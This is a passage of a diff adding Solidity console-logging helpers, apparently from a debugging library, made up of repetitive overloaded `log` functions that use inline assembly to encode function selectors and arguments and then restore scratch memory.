+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,string,address)`.
+            mstore(0x00, 0xef529018)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,string,bool)`.
+            mstore(0x00, 0xeb928d7f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,string,uint256)`.
+            mstore(0x00, 0x2c1d0746)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,bool,string,string)`.
+            mstore(0x00, 0x68c8b8bd)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,address,address)`.
+            mstore(0x00, 0x56a5d1b1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,address,bool)`.
+            mstore(0x00, 0x15cac476)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,address,uint256)`.
+            mstore(0x00, 0x88f6e4b2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,address,string)`.
+            mstore(0x00, 0x6cde40b8)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,bool,address)`.
+            mstore(0x00, 0x9a816a83)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,bool,bool)`.
+            mstore(0x00, 0xab085ae6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,bool,uint256)`.
+            mstore(0x00, 0xeb7f6fd2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,bool,string)`.
+            mstore(0x00, 0xa5b4fc99)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,uint256,address)`.
+            mstore(0x00, 0xfa8185af)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,uint256,bool)`.
+            mstore(0x00, 0xc598d185)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,uint256,uint256,uint256)`.
+            mstore(0x00, 0x193fb800)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,uint256,string)`.
+            mstore(0x00, 0x59cfcbe3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,string,address)`.
+            mstore(0x00, 0x42d21db7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,string,bool)`.
+            mstore(0x00, 0x7af6ab25)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,uint256,string,uint256)`.
+            mstore(0x00, 0x5da297eb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, uint256 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,uint256,string,string)`.
+            mstore(0x00, 0x27d8afd2)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,address,address)`.
+            mstore(0x00, 0x6168ed61)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,address,bool)`.
+            mstore(0x00, 0x90c30a56)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,address,uint256)`.
+            mstore(0x00, 0xe8d3018d)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,address,string)`.
+            mstore(0x00, 0x9c3adfa1)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,bool,address)`.
+            mstore(0x00, 0xae2ec581)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,bool,bool)`.
+            mstore(0x00, 0xba535d9c)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,bool,uint256)`.
+            mstore(0x00, 0xcf009880)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
